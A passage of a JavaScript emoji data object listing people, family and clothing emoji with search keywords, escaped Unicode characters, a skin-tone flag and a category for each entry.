    fitzpatrick_scale: false,
    category: "people"
  },
  eyes: {
    keywords: [ "look", "watch", "stalk", "peek", "see" ],
    char: "\ud83d\udc40",
    fitzpatrick_scale: false,
    category: "people"
  },
  brain: {
    keywords: [ "smart", "intelligent" ],
    char: "\ud83e\udde0",
    fitzpatrick_scale: false,
    category: "people"
  },
  bust_in_silhouette: {
    keywords: [ "user", "person", "human" ],
    char: "\ud83d\udc64",
    fitzpatrick_scale: false,
    category: "people"
  },
  busts_in_silhouette: {
    keywords: [ "user", "person", "human", "group", "team" ],
    char: "\ud83d\udc65",
    fitzpatrick_scale: false,
    category: "people"
  },
  speaking_head: {
    keywords: [ "user", "person", "human", "sing", "say", "talk" ],
    char: "\ud83d\udde3",
    fitzpatrick_scale: false,
    category: "people"
  },
  baby: {
    keywords: [ "child", "boy", "girl", "toddler" ],
    char: "\ud83d\udc76",
    fitzpatrick_scale: true,
    category: "people"
  },
  child: {
    keywords: [ "gender-neutral", "young" ],
    char: "\ud83e\uddd2",
    fitzpatrick_scale: true,
    category: "people"
  },
  boy: {
    keywords: [ "man", "male", "guy", "teenager" ],
    char: "\ud83d\udc66",
    fitzpatrick_scale: true,
    category: "people"
  },
  girl: {
    keywords: [ "female", "woman", "teenager" ],
    char: "\ud83d\udc67",
    fitzpatrick_scale: true,
    category: "people"
  },
  adult: {
    keywords: [ "gender-neutral", "person" ],
    char: "\ud83e\uddd1",
    fitzpatrick_scale: true,
    category: "people"
  },
  man: {
    keywords: [ "mustache", "father", "dad", "guy", "classy", "sir", "moustache" ],
    char: "\ud83d\udc68",
    fitzpatrick_scale: true,
    category: "people"
  },
  woman: {
    keywords: [ "female", "girls", "lady" ],
    char: "\ud83d\udc69",
    fitzpatrick_scale: true,
    category: "people"
  },
  blonde_woman: {
    keywords: [ "woman", "female", "girl", "blonde", "person" ],
    char: "\ud83d\udc71\u200d\u2640\ufe0f",
    fitzpatrick_scale: true,
    category: "people"
  },
  blonde_man: {
    keywords: [ "man", "male", "boy", "blonde", "guy", "person" ],
    char: "\ud83d\udc71",
    fitzpatrick_scale: true,
    category: "people"
  },
  bearded_person: {
    keywords: [ "person", "bewhiskered" ],
    char: "\ud83e\uddd4",
    fitzpatrick_scale: true,
    category: "people"
  },
  older_adult: {
    keywords: [ "human", "elder", "senior", "gender-neutral" ],
    char: "\ud83e\uddd3",
    fitzpatrick_scale: true,
    category: "people"
  },
  older_man: {
    keywords: [ "human", "male", "men", "old", "elder", "senior" ],
    char: "\ud83d\udc74",
    fitzpatrick_scale: true,
    category: "people"
  },
  older_woman: {
    keywords: [ "human", "female", "women", "lady", "old", "elder", "senior" ],
    char: "\ud83d\udc75",
    fitzpatrick_scale: true,
    category: "people"
  },
  man_with_gua_pi_mao: {
    keywords: [ "male", "boy", "chinese" ],
    char: "\ud83d\udc72",
    fitzpatrick_scale: true,
    category: "people"
  },
  woman_with_headscarf: {
    keywords: [ "female", "hijab", "mantilla", "tichel" ],
    char: "\ud83e\uddd5",
    fitzpatrick_scale: true,
    category: "people"
  },
  woman_with_turban: {
    keywords: [ "female", "indian", "hinduism", "arabs", "woman" ],
    char: "\ud83d\udc73\u200d\u2640\ufe0f",
    fitzpatrick_scale: true,
    category: "people"
  },
  man_with_turban: {
    keywords: [ "male", "indian", "hinduism", "arabs" ],
    char: "\ud83d\udc73",
    fitzpatrick_scale: true,
    category: "people"
  },
  policewoman: {
    keywords: [ "woman", "police", "law", "legal", "enforcement", "arrest", "911", "female" ],
    char: "\ud83d\udc6e\u200d\u2640\ufe0f",
    fitzpatrick_scale: true,
    category: "people"
  },
  policeman: {
    keywords: [ "man", "police", "law", "legal", "enforcement", "arrest", "911" ],
    char: "\ud83d\udc6e",
    fitzpatrick_scale: true,
    category: "people"
  },
  construction_worker_woman: {
    keywords: [ "female", "human", "wip", "build", "construction", "worker", "labor", "woman" ],
    char: "\ud83d\udc77\u200d\u2640\ufe0f",
    fitzpatrick_scale: true,
    category: "people"
  },
  construction_worker_man: {
    keywords: [ "male", "human", "wip", "guy", "build", "construction", "worker", "labor" ],
    char: "\ud83d\udc77",
    fitzpatrick_scale: true,
    category: "people"
  },
  guardswoman: {
    keywords: [ "uk", "gb", "british", "female", "royal", "woman" ],
    char: "\ud83d\udc82\u200d\u2640\ufe0f",
    fitzpatrick_scale: true,
    category: "people"
  },
  guardsman: {
    keywords: [ "uk", "gb", "british", "male", "guy", "royal" ],
    char: "\ud83d\udc82",
    fitzpatrick_scale: true,
    category: "people"
  },
  female_detective: {
    keywords: [ "human", "spy", "detective", "female", "woman" ],
    char: "\ud83d\udd75\ufe0f\u200d\u2640\ufe0f",
    fitzpatrick_scale: true,
    category: "people"
  },
  male_detective: {
    keywords: [ "human", "spy", "detective" ],
    char: "\ud83d\udd75",
    fitzpatrick_scale: true,
    category: "people"
  },
  woman_health_worker: {
    keywords: [ "doctor", "nurse", "therapist", "healthcare", "woman", "human" ],
    char: "\ud83d\udc69\u200d\u2695\ufe0f",
    fitzpatrick_scale: true,
    category: "people"
  },
  man_health_worker: {
    keywords: [ "doctor", "nurse", "therapist", "healthcare", "man", "human" ],
    char: "\ud83d\udc68\u200d\u2695\ufe0f",
    fitzpatrick_scale: true,
    category: "people"
  },
  woman_farmer: {
    keywords: [ "rancher", "gardener", "woman", "human" ],
    char: "\ud83d\udc69\u200d\ud83c\udf3e",
    fitzpatrick_scale: true,
    category: "people"
  },
  man_farmer: {
    keywords: [ "rancher", "gardener", "man", "human" ],
    char: "\ud83d\udc68\u200d\ud83c\udf3e",
    fitzpatrick_scale: true,
    category: "people"
  },
  woman_cook: {
    keywords: [ "chef", "woman", "human" ],
    char: "\ud83d\udc69\u200d\ud83c\udf73",
    fitzpatrick_scale: true,
    category: "people"
  },
  man_cook: {
    keywords: [ "chef", "man", "human" ],
    char: "\ud83d\udc68\u200d\ud83c\udf73",
    fitzpatrick_scale: true,
    category: "people"
  },
  woman_student: {
    keywords: [ "graduate", "woman", "human" ],
    char: "\ud83d\udc69\u200d\ud83c\udf93",
    fitzpatrick_scale: true,
    category: "people"
  },
  man_student: {
    keywords: [ "graduate", "man", "human" ],
    char: "\ud83d\udc68\u200d\ud83c\udf93",
    fitzpatrick_scale: true,
    category: "people"
  },
  woman_singer: {
    keywords: [ "rockstar", "entertainer", "woman", "human" ],
    char: "\ud83d\udc69\u200d\ud83c\udfa4",
    fitzpatrick_scale: true,
    category: "people"
  },
  man_singer: {
    keywords: [ "rockstar", "entertainer", "man", "human" ],
    char: "\ud83d\udc68\u200d\ud83c\udfa4",
    fitzpatrick_scale: true,
    category: "people"
  },
  woman_teacher: {
    keywords: [ "instructor", "professor", "woman", "human" ],
    char: "\ud83d\udc69\u200d\ud83c\udfeb",
    fitzpatrick_scale: true,
    category: "people"
  },
  man_teacher: {
    keywords: [ "instructor", "professor", "man", "human" ],
    char: "\ud83d\udc68\u200d\ud83c\udfeb",
    fitzpatrick_scale: true,
    category: "people"
  },
  woman_factory_worker: {
    keywords: [ "assembly", "industrial", "woman", "human" ],
    char: "\ud83d\udc69\u200d\ud83c\udfed",
    fitzpatrick_scale: true,
    category: "people"
  },
  man_factory_worker: {
    keywords: [ "assembly", "industrial", "man", "human" ],
    char: "\ud83d\udc68\u200d\ud83c\udfed",
    fitzpatrick_scale: true,
    category: "people"
  },
  woman_technologist: {
    keywords: [ "coder", "developer", "engineer", "programmer", "software", "woman", "human", "laptop", "computer" ],
    char: "\ud83d\udc69\u200d\ud83d\udcbb",
    fitzpatrick_scale: true,
    category: "people"
  },
  man_technologist: {
    keywords: [ "coder", "developer", "engineer", "programmer", "software", "man", "human", "laptop", "computer" ],
    char: "\ud83d\udc68\u200d\ud83d\udcbb",
    fitzpatrick_scale: true,
    category: "people"
  },
  woman_office_worker: {
    keywords: [ "business", "manager", "woman", "human" ],
    char: "\ud83d\udc69\u200d\ud83d\udcbc",
    fitzpatrick_scale: true,
    category: "people"
  },
  man_office_worker: {
    keywords: [ "business", "manager", "man", "human" ],
    char: "\ud83d\udc68\u200d\ud83d\udcbc",
    fitzpatrick_scale: true,
    category: "people"
  },
  woman_mechanic: {
    keywords: [ "plumber", "woman", "human", "wrench" ],
    char: "\ud83d\udc69\u200d\ud83d\udd27",
    fitzpatrick_scale: true,
    category: "people"
  },
  man_mechanic: {
    keywords: [ "plumber", "man", "human", "wrench" ],
    char: "\ud83d\udc68\u200d\ud83d\udd27",
    fitzpatrick_scale: true,
    category: "people"
  },
  woman_scientist: {
    keywords: [ "biologist", "chemist", "engineer", "physicist", "woman", "human" ],
    char: "\ud83d\udc69\u200d\ud83d\udd2c",
    fitzpatrick_scale: true,
    category: "people"
  },
  man_scientist: {
    keywords: [ "biologist", "chemist", "engineer", "physicist", "man", "human" ],
    char: "\ud83d\udc68\u200d\ud83d\udd2c",
    fitzpatrick_scale: true,
    category: "people"
  },
  woman_artist: {
    keywords: [ "painter", "woman", "human" ],
    char: "\ud83d\udc69\u200d\ud83c\udfa8",
    fitzpatrick_scale: true,
    category: "people"
  },
  man_artist: {
    keywords: [ "painter", "man", "human" ],
    char: "\ud83d\udc68\u200d\ud83c\udfa8",
    fitzpatrick_scale: true,
    category: "people"
  },
  woman_firefighter: {
    keywords: [ "fireman", "woman", "human" ],
    char: "\ud83d\udc69\u200d\ud83d\ude92",
    fitzpatrick_scale: true,
    category: "people"
  },
  man_firefighter: {
    keywords: [ "fireman", "man", "human" ],
    char: "\ud83d\udc68\u200d\ud83d\ude92",
    fitzpatrick_scale: true,
    category: "people"
  },
  woman_pilot: {
    keywords: [ "aviator", "plane", "woman", "human" ],
    char: "\ud83d\udc69\u200d\u2708\ufe0f",
    fitzpatrick_scale: true,
    category: "people"
  },
  man_pilot: {
    keywords: [ "aviator", "plane", "man", "human" ],
    char: "\ud83d\udc68\u200d\u2708\ufe0f",
    fitzpatrick_scale: true,
    category: "people"
  },
  woman_astronaut: {
    keywords: [ "space", "rocket", "woman", "human" ],
    char: "\ud83d\udc69\u200d\ud83d\ude80",
    fitzpatrick_scale: true,
    category: "people"
  },
  man_astronaut: {
    keywords: [ "space", "rocket", "man", "human" ],
    char: "\ud83d\udc68\u200d\ud83d\ude80",
    fitzpatrick_scale: true,
    category: "people"
  },
  woman_judge: {
    keywords: [ "justice", "court", "woman", "human" ],
    char: "\ud83d\udc69\u200d\u2696\ufe0f",
    fitzpatrick_scale: true,
    category: "people"
  },
  man_judge: {
    keywords: [ "justice", "court", "man", "human" ],
    char: "\ud83d\udc68\u200d\u2696\ufe0f",
    fitzpatrick_scale: true,
    category: "people"
  },
  woman_superhero: {
    keywords: [ "woman", "female", "good", "heroine", "superpowers" ],
    char: "\ud83e\uddb8\u200d\u2640\ufe0f",
    fitzpatrick_scale: true,
    category: "people"
  },
  man_superhero: {
    keywords: [ "man", "male", "good", "hero", "superpowers" ],
    char: "\ud83e\uddb8\u200d\u2642\ufe0f",
    fitzpatrick_scale: true,
    category: "people"
  },
  woman_supervillain: {
    keywords: [ "woman", "female", "evil", "bad", "criminal", "heroine", "superpowers" ],
    char: "\ud83e\uddb9\u200d\u2640\ufe0f",
    fitzpatrick_scale: true,
    category: "people"
  },
  man_supervillain: {
    keywords: [ "man", "male", "evil", "bad", "criminal", "hero", "superpowers" ],
    char: "\ud83e\uddb9\u200d\u2642\ufe0f",
    fitzpatrick_scale: true,
    category: "people"
  },
  mrs_claus: {
    keywords: [ "woman", "female", "xmas", "mother christmas" ],
    char: "\ud83e\udd36",
    fitzpatrick_scale: true,
    category: "people"
  },
  santa: {
    keywords: [ "festival", "man", "male", "xmas", "father christmas" ],
    char: "\ud83c\udf85",
    fitzpatrick_scale: true,
    category: "people"
  },
  sorceress: {
    keywords: [ "woman", "female", "mage", "witch" ],
    char: "\ud83e\uddd9\u200d\u2640\ufe0f",
    fitzpatrick_scale: true,
    category: "people"
  },
  wizard: {
    keywords: [ "man", "male", "mage", "sorcerer" ],
    char: "\ud83e\uddd9\u200d\u2642\ufe0f",
    fitzpatrick_scale: true,
    category: "people"
  },
  woman_elf: {
    keywords: [ "woman", "female" ],
    char: "\ud83e\udddd\u200d\u2640\ufe0f",
    fitzpatrick_scale: true,
    category: "people"
  },
  man_elf: {
    keywords: [ "man", "male" ],
    char: "\ud83e\udddd\u200d\u2642\ufe0f",
    fitzpatrick_scale: true,
    category: "people"
  },
  woman_vampire: {
    keywords: [ "woman", "female" ],
    char: "\ud83e\udddb\u200d\u2640\ufe0f",
    fitzpatrick_scale: true,
    category: "people"
  },
  man_vampire: {
    keywords: [ "man", "male", "dracula" ],
    char: "\ud83e\udddb\u200d\u2642\ufe0f",
    fitzpatrick_scale: true,
    category: "people"
  },
  woman_zombie: {
    keywords: [ "woman", "female", "undead", "walking dead" ],
    char: "\ud83e\udddf\u200d\u2640\ufe0f",
    fitzpatrick_scale: false,
    category: "people"
  },
  man_zombie: {
    keywords: [ "man", "male", "dracula", "undead", "walking dead" ],
    char: "\ud83e\udddf\u200d\u2642\ufe0f",
    fitzpatrick_scale: false,
    category: "people"
  },
  woman_genie: {
    keywords: [ "woman", "female" ],
    char: "\ud83e\uddde\u200d\u2640\ufe0f",
    fitzpatrick_scale: false,
    category: "people"
  },
  man_genie: {
    keywords: [ "man", "male" ],
    char: "\ud83e\uddde\u200d\u2642\ufe0f",
    fitzpatrick_scale: false,
    category: "people"
  },
  mermaid: {
    keywords: [ "woman", "female", "merwoman", "ariel" ],
    char: "\ud83e\udddc\u200d\u2640\ufe0f",
    fitzpatrick_scale: true,
    category: "people"
  },
  merman: {
    keywords: [ "man", "male", "triton" ],
    char: "\ud83e\udddc\u200d\u2642\ufe0f",
    fitzpatrick_scale: true,
    category: "people"
  },
  woman_fairy: {
    keywords: [ "woman", "female" ],
    char: "\ud83e\uddda\u200d\u2640\ufe0f",
    fitzpatrick_scale: true,
    category: "people"
  },
  man_fairy: {
    keywords: [ "man", "male" ],
    char: "\ud83e\uddda\u200d\u2642\ufe0f",
    fitzpatrick_scale: true,
    category: "people"
  },
  angel: {
    keywords: [ "heaven", "wings", "halo" ],
    char: "\ud83d\udc7c",
    fitzpatrick_scale: true,
    category: "people"
  },
  pregnant_woman: {
    keywords: [ "baby" ],
    char: "\ud83e\udd30",
    fitzpatrick_scale: true,
    category: "people"
  },
  breastfeeding: {
    keywords: [ "nursing", "baby" ],
    char: "\ud83e\udd31",
    fitzpatrick_scale: true,
    category: "people"
  },
  princess: {
    keywords: [ "girl", "woman", "female", "blond", "crown", "royal", "queen" ],
    char: "\ud83d\udc78",
    fitzpatrick_scale: true,
    category: "people"
  },
  prince: {
    keywords: [ "boy", "man", "male", "crown", "royal", "king" ],
    char: "\ud83e\udd34",
    fitzpatrick_scale: true,
    category: "people"
  },
  bride_with_veil: {
    keywords: [ "couple", "marriage", "wedding", "woman", "bride" ],
    char: "\ud83d\udc70",
    fitzpatrick_scale: true,
    category: "people"
  },
  man_in_tuxedo: {
    keywords: [ "couple", "marriage", "wedding", "groom" ],
    char: "\ud83e\udd35",
    fitzpatrick_scale: true,
    category: "people"
  },
  running_woman: {
    keywords: [ "woman", "walking", "exercise", "race", "running", "female" ],
    char: "\ud83c\udfc3\u200d\u2640\ufe0f",
    fitzpatrick_scale: true,
    category: "people"
  },
  running_man: {
    keywords: [ "man", "walking", "exercise", "race", "running" ],
    char: "\ud83c\udfc3",
    fitzpatrick_scale: true,
    category: "people"
  },
  walking_woman: {
    keywords: [ "human", "feet", "steps", "woman", "female" ],
    char: "\ud83d\udeb6\u200d\u2640\ufe0f",
    fitzpatrick_scale: true,
    category: "people"
  },
  walking_man: {
    keywords: [ "human", "feet", "steps" ],
    char: "\ud83d\udeb6",
    fitzpatrick_scale: true,
    category: "people"
  },
  dancer: {
    keywords: [ "female", "girl", "woman", "fun" ],
    char: "\ud83d\udc83",
    fitzpatrick_scale: true,
    category: "people"
  },
  man_dancing: {
    keywords: [ "male", "boy", "fun", "dancer" ],
    char: "\ud83d\udd7a",
    fitzpatrick_scale: true,
    category: "people"
  },
  dancing_women: {
    keywords: [ "female", "bunny", "women", "girls" ],
    char: "\ud83d\udc6f",
    fitzpatrick_scale: false,
    category: "people"
  },
  dancing_men: {
    keywords: [ "male", "bunny", "men", "boys" ],
    char: "\ud83d\udc6f\u200d\u2642\ufe0f",
    fitzpatrick_scale: false,
    category: "people"
  },
  couple: {
    keywords: [ "pair", "people", "human", "love", "date", "dating", "like", "affection", "valentines", "marriage" ],
    char: "\ud83d\udc6b",
    fitzpatrick_scale: false,
    category: "people"
  },
  two_men_holding_hands: {
    keywords: [ "pair", "couple", "love", "like", "bromance", "friendship", "people", "human" ],
    char: "\ud83d\udc6c",
    fitzpatrick_scale: false,
    category: "people"
  },
  two_women_holding_hands: {
    keywords: [ "pair", "friendship", "couple", "love", "like", "female", "people", "human" ],
    char: "\ud83d\udc6d",
    fitzpatrick_scale: false,
    category: "people"
  },
  bowing_woman: {
    keywords: [ "woman", "female", "girl" ],
    char: "\ud83d\ude47\u200d\u2640\ufe0f",
    fitzpatrick_scale: true,
    category: "people"
  },
  bowing_man: {
    keywords: [ "man", "male", "boy" ],
    char: "\ud83d\ude47",
    fitzpatrick_scale: true,
    category: "people"
  },
  man_facepalming: {
    keywords: [ "man", "male", "boy", "disbelief" ],
    char: "\ud83e\udd26\u200d\u2642\ufe0f",
    fitzpatrick_scale: true,
    category: "people"
  },
  woman_facepalming: {
    keywords: [ "woman", "female", "girl", "disbelief" ],
    char: "\ud83e\udd26\u200d\u2640\ufe0f",
    fitzpatrick_scale: true,
    category: "people"
  },
  woman_shrugging: {
    keywords: [ "woman", "female", "girl", "confused", "indifferent", "doubt" ],
    char: "\ud83e\udd37",
    fitzpatrick_scale: true,
    category: "people"
  },
  man_shrugging: {
    keywords: [ "man", "male", "boy", "confused", "indifferent", "doubt" ],
    char: "\ud83e\udd37\u200d\u2642\ufe0f",
    fitzpatrick_scale: true,
    category: "people"
  },
  tipping_hand_woman: {
    keywords: [ "female", "girl", "woman", "human", "information" ],
    char: "\ud83d\udc81",
    fitzpatrick_scale: true,
    category: "people"
  },
  tipping_hand_man: {
    keywords: [ "male", "boy", "man", "human", "information" ],
    char: "\ud83d\udc81\u200d\u2642\ufe0f",
    fitzpatrick_scale: true,
    category: "people"
  },
  no_good_woman: {
    keywords: [ "female", "girl", "woman", "nope" ],
    char: "\ud83d\ude45",
    fitzpatrick_scale: true,
    category: "people"
  },
  no_good_man: {
    keywords: [ "male", "boy", "man", "nope" ],
    char: "\ud83d\ude45\u200d\u2642\ufe0f",
    fitzpatrick_scale: true,
    category: "people"
  },
  ok_woman: {
    keywords: [ "women", "girl", "female", "pink", "human", "woman" ],
    char: "\ud83d\ude46",
    fitzpatrick_scale: true,
    category: "people"
  },
  ok_man: {
    keywords: [ "men", "boy", "male", "blue", "human", "man" ],
    char: "\ud83d\ude46\u200d\u2642\ufe0f",
    fitzpatrick_scale: true,
    category: "people"
  },
  raising_hand_woman: {
    keywords: [ "female", "girl", "woman" ],
    char: "\ud83d\ude4b",
    fitzpatrick_scale: true,
    category: "people"
  },
  raising_hand_man: {
    keywords: [ "male", "boy", "man" ],
    char: "\ud83d\ude4b\u200d\u2642\ufe0f",
    fitzpatrick_scale: true,
    category: "people"
  },
  pouting_woman: {
    keywords: [ "female", "girl", "woman" ],
    char: "\ud83d\ude4e",
    fitzpatrick_scale: true,
    category: "people"
  },
  pouting_man: {
    keywords: [ "male", "boy", "man" ],
    char: "\ud83d\ude4e\u200d\u2642\ufe0f",
    fitzpatrick_scale: true,
    category: "people"
  },
  frowning_woman: {
    keywords: [ "female", "girl", "woman", "sad", "depressed", "discouraged", "unhappy" ],
    char: "\ud83d\ude4d",
    fitzpatrick_scale: true,
    category: "people"
  },
  frowning_man: {
    keywords: [ "male", "boy", "man", "sad", "depressed", "discouraged", "unhappy" ],
    char: "\ud83d\ude4d\u200d\u2642\ufe0f",
    fitzpatrick_scale: true,
    category: "people"
  },
  haircut_woman: {
    keywords: [ "female", "girl", "woman" ],
    char: "\ud83d\udc87",
    fitzpatrick_scale: true,
    category: "people"
  },
  haircut_man: {
    keywords: [ "male", "boy", "man" ],
    char: "\ud83d\udc87\u200d\u2642\ufe0f",
    fitzpatrick_scale: true,
    category: "people"
  },
  massage_woman: {
    keywords: [ "female", "girl", "woman", "head" ],
    char: "\ud83d\udc86",
    fitzpatrick_scale: true,
    category: "people"
  },
  massage_man: {
    keywords: [ "male", "boy", "man", "head" ],
    char: "\ud83d\udc86\u200d\u2642\ufe0f",
    fitzpatrick_scale: true,
    category: "people"
  },
  woman_in_steamy_room: {
    keywords: [ "female", "woman", "spa", "steamroom", "sauna" ],
    char: "\ud83e\uddd6\u200d\u2640\ufe0f",
    fitzpatrick_scale: true,
    category: "people"
  },
  man_in_steamy_room: {
    keywords: [ "male", "man", "spa", "steamroom", "sauna" ],
    char: "\ud83e\uddd6\u200d\u2642\ufe0f",
    fitzpatrick_scale: true,
    category: "people"
  },
  couple_with_heart_woman_man: {
    keywords: [ "pair", "love", "like", "affection", "human", "dating", "valentines", "marriage" ],
    char: "\ud83d\udc91",
    fitzpatrick_scale: false,
    category: "people"
  },
  couple_with_heart_woman_woman: {
    keywords: [ "pair", "love", "like", "affection", "human", "dating", "valentines", "marriage" ],
    char: "\ud83d\udc69\u200d\u2764\ufe0f\u200d\ud83d\udc69",
    fitzpatrick_scale: false,
    category: "people"
  },
  couple_with_heart_man_man: {
    keywords: [ "pair", "love", "like", "affection", "human", "dating", "valentines", "marriage" ],
    char: "\ud83d\udc68\u200d\u2764\ufe0f\u200d\ud83d\udc68",
    fitzpatrick_scale: false,
    category: "people"
  },
  couplekiss_man_woman: {
    keywords: [ "pair", "valentines", "love", "like", "dating", "marriage" ],
    char: "\ud83d\udc8f",
    fitzpatrick_scale: false,
    category: "people"
  },
  couplekiss_woman_woman: {
    keywords: [ "pair", "valentines", "love", "like", "dating", "marriage" ],
    char: "\ud83d\udc69\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc69",
    fitzpatrick_scale: false,
    category: "people"
  },
  couplekiss_man_man: {
    keywords: [ "pair", "valentines", "love", "like", "dating", "marriage" ],
    char: "\ud83d\udc68\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc68",
    fitzpatrick_scale: false,
    category: "people"
  },
  family_man_woman_boy: {
    keywords: [ "home", "parents", "child", "mom", "dad", "father", "mother", "people", "human" ],
    char: "\ud83d\udc6a",
    fitzpatrick_scale: false,
    category: "people"
  },
  family_man_woman_girl: {
    keywords: [ "home", "parents", "people", "human", "child" ],
    char: "\ud83d\udc68\u200d\ud83d\udc69\u200d\ud83d\udc67",
    fitzpatrick_scale: false,
    category: "people"
  },
  family_man_woman_girl_boy: {
    keywords: [ "home", "parents", "people", "human", "children" ],
    char: "\ud83d\udc68\u200d\ud83d\udc69\u200d\ud83d\udc67\u200d\ud83d\udc66",
    fitzpatrick_scale: false,
    category: "people"
  },
  family_man_woman_boy_boy: {
    keywords: [ "home", "parents", "people", "human", "children" ],
    char: "\ud83d\udc68\u200d\ud83d\udc69\u200d\ud83d\udc66\u200d\ud83d\udc66",
    fitzpatrick_scale: false,
    category: "people"
  },
  family_man_woman_girl_girl: {
    keywords: [ "home", "parents", "people", "human", "children" ],
    char: "\ud83d\udc68\u200d\ud83d\udc69\u200d\ud83d\udc67\u200d\ud83d\udc67",
    fitzpatrick_scale: false,
    category: "people"
  },
  family_woman_woman_boy: {
    keywords: [ "home", "parents", "people", "human", "children" ],
    char: "\ud83d\udc69\u200d\ud83d\udc69\u200d\ud83d\udc66",
    fitzpatrick_scale: false,
    category: "people"
  },
  family_woman_woman_girl: {
    keywords: [ "home", "parents", "people", "human", "children" ],
    char: "\ud83d\udc69\u200d\ud83d\udc69\u200d\ud83d\udc67",
    fitzpatrick_scale: false,
    category: "people"
  },
  family_woman_woman_girl_boy: {
    keywords: [ "home", "parents", "people", "human", "children" ],
    char: "\ud83d\udc69\u200d\ud83d\udc69\u200d\ud83d\udc67\u200d\ud83d\udc66",
    fitzpatrick_scale: false,
    category: "people"
  },
  family_woman_woman_boy_boy: {
    keywords: [ "home", "parents", "people", "human", "children" ],
    char: "\ud83d\udc69\u200d\ud83d\udc69\u200d\ud83d\udc66\u200d\ud83d\udc66",
    fitzpatrick_scale: false,
    category: "people"
  },
  family_woman_woman_girl_girl: {
    keywords: [ "home", "parents", "people", "human", "children" ],
    char: "\ud83d\udc69\u200d\ud83d\udc69\u200d\ud83d\udc67\u200d\ud83d\udc67",
    fitzpatrick_scale: false,
    category: "people"
  },
  family_man_man_boy: {
    keywords: [ "home", "parents", "people", "human", "children" ],
    char: "\ud83d\udc68\u200d\ud83d\udc68\u200d\ud83d\udc66",
    fitzpatrick_scale: false,
    category: "people"
  },
  family_man_man_girl: {
    keywords: [ "home", "parents", "people", "human", "children" ],
    char: "\ud83d\udc68\u200d\ud83d\udc68\u200d\ud83d\udc67",
    fitzpatrick_scale: false,
    category: "people"
  },
  family_man_man_girl_boy: {
    keywords: [ "home", "parents", "people", "human", "children" ],
    char: "\ud83d\udc68\u200d\ud83d\udc68\u200d\ud83d\udc67\u200d\ud83d\udc66",
    fitzpatrick_scale: false,
    category: "people"
  },
  family_man_man_boy_boy: {
    keywords: [ "home", "parents", "people", "human", "children" ],
    char: "\ud83d\udc68\u200d\ud83d\udc68\u200d\ud83d\udc66\u200d\ud83d\udc66",
    fitzpatrick_scale: false,
    category: "people"
  },
  family_man_man_girl_girl: {
    keywords: [ "home", "parents", "people", "human", "children" ],
    char: "\ud83d\udc68\u200d\ud83d\udc68\u200d\ud83d\udc67\u200d\ud83d\udc67",
    fitzpatrick_scale: false,
    category: "people"
  },
  family_woman_boy: {
    keywords: [ "home", "parent", "people", "human", "child" ],
    char: "\ud83d\udc69\u200d\ud83d\udc66",
    fitzpatrick_scale: false,
    category: "people"
  },
  family_woman_girl: {
    keywords: [ "home", "parent", "people", "human", "child" ],
    char: "\ud83d\udc69\u200d\ud83d\udc67",
    fitzpatrick_scale: false,
    category: "people"
  },
  family_woman_girl_boy: {
    keywords: [ "home", "parent", "people", "human", "children" ],
    char: "\ud83d\udc69\u200d\ud83d\udc67\u200d\ud83d\udc66",
    fitzpatrick_scale: false,
    category: "people"
  },
  family_woman_boy_boy: {
    keywords: [ "home", "parent", "people", "human", "children" ],
    char: "\ud83d\udc69\u200d\ud83d\udc66\u200d\ud83d\udc66",
    fitzpatrick_scale: false,
    category: "people"
  },
  family_woman_girl_girl: {
    keywords: [ "home", "parent", "people", "human", "children" ],
    char: "\ud83d\udc69\u200d\ud83d\udc67\u200d\ud83d\udc67",
    fitzpatrick_scale: false,
    category: "people"
  },
  family_man_boy: {
    keywords: [ "home", "parent", "people", "human", "child" ],
    char: "\ud83d\udc68\u200d\ud83d\udc66",
    fitzpatrick_scale: false,
    category: "people"
  },
  family_man_girl: {
    keywords: [ "home", "parent", "people", "human", "child" ],
    char: "\ud83d\udc68\u200d\ud83d\udc67",
    fitzpatrick_scale: false,
    category: "people"
  },
  family_man_girl_boy: {
    keywords: [ "home", "parent", "people", "human", "children" ],
    char: "\ud83d\udc68\u200d\ud83d\udc67\u200d\ud83d\udc66",
    fitzpatrick_scale: false,
    category: "people"
  },
  family_man_boy_boy: {
    keywords: [ "home", "parent", "people", "human", "children" ],
    char: "\ud83d\udc68\u200d\ud83d\udc66\u200d\ud83d\udc66",
    fitzpatrick_scale: false,
    category: "people"
  },
  family_man_girl_girl: {
    keywords: [ "home", "parent", "people", "human", "children" ],
    char: "\ud83d\udc68\u200d\ud83d\udc67\u200d\ud83d\udc67",
    fitzpatrick_scale: false,
    category: "people"
  },
  yarn: {
    keywords: [ "ball", "crochet", "knit" ],
    char: "\ud83e\uddf6",
    fitzpatrick_scale: false,
    category: "people"
  },
  thread: {
    keywords: [ "needle", "sewing", "spool", "string" ],
    char: "\ud83e\uddf5",
    fitzpatrick_scale: false,
    category: "people"
  },
  coat: {
    keywords: [ "jacket" ],
    char: "\ud83e\udde5",
    fitzpatrick_scale: false,
    category: "people"
  },
  labcoat: {
    keywords: [ "doctor", "experiment", "scientist", "chemist" ],
    char: "\ud83e\udd7c",
    fitzpatrick_scale: false,
    category: "people"
  },
  womans_clothes: {
    keywords: [ "fashion", "shopping_bags", "female" ],
    char: "\ud83d\udc5a",
    fitzpatrick_scale: false,
    category: "people"
  },
  tshirt: {
    keywords: [ "fashion", "cloth", "casual", "shirt", "tee" ],
    char: "\ud83d\udc55",
    fitzpatrick_scale: false,
    category: "people"
  },
  jeans: {
    keywords: [ "fashion", "shopping" ],
    char: "\ud83d\udc56",
    fitzpatrick_scale: false,
    category: "people"
  },
  necktie: {
    keywords: [ "shirt", "suitup", "formal", "fashion", "cloth", "business" ],
    char: "\ud83d\udc54",
    fitzpatrick_scale: false,
    category: "people"
  },
  dress: {
    keywords: [ "clothes", "fashion", "shopping" ],
    char: "\ud83d\udc57",
    fitzpatrick_scale: false,
    category: "people"
  },
  bikini: {
    keywords: [ "swimming", "female", "woman", "girl", "fashion", "beach", "summer" ],
    char: "\ud83d\udc59",
    fitzpatrick_scale: false,
    category: "people"
  },
  kimono: {
    keywords: [ "dress", "fashion", "women", "female", "japanese" ],
    char: "\ud83d\udc58",
    fitzpatrick_scale: false,
    category: "people"
  },
  lipstick: {
    keywords: [ "female", "girl", "fashion", "woman" ],
    char: "\ud83d\udc84",
    fitzpatrick_scale: false,
    category: "people"
  },
  kiss: {
    keywords: [ "face", "lips", "love", "like", "affection", "valentines" ],
    char: "\ud83d\udc8b",
    fitzpatrick_scale: false,
    category: "people"
  },
  footprints: {
    keywords: [ "feet", "tracking", "walking", "beach" ],
    char: "\ud83d\udc63",
    fitzpatrick_scale: false,
